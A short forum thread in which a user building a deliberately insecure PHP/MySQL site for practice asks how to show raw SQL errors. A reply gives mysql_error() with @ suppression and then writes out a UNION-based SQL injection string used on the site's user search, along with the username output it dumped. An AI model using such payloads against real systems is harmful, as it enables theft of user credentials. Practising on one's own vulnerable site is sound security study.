create SQL errors instead of PHP [resolved]

[Acidic]

OK. This might sound odd. I'm making a site which deliberately is insecure. I'm doing this to learn how to exploit it. When i cause a mySQL error I get an error displayed which PHP has made for me. is there a way to get the SQL error instead of the PHP error?

[visualAd]

http://uk2.php.net/mysql_error

[visualAd]

And to prevent the PHP error from showing put an @ in front of the function which is producing it:

$result =  @mysql_query ($broken_sql);

if (! $result)
  echo (mysql_error ()); 

[Acidic]

lovely, thanks. I knew about the @, but not the mysql_error().

[visualAd]

Finally :

I entered this into the user search:

' or 1=1 UNION ALL SELECT 1,password,2 FROM users WHERE '' = '

and got this:

Username: admin
Username: WhiteAcid
Username: Romeo
Username: Gandalf
Username: hax0r
Username: Amy
Username: Bob
Username: qwerty
Username: SQLInjection
Username: ILoveFlowers
Username: Ring
Username: 1337
Username: GiRl
Username: theBuilder

[Acidic]

well done. all usernames and passwords.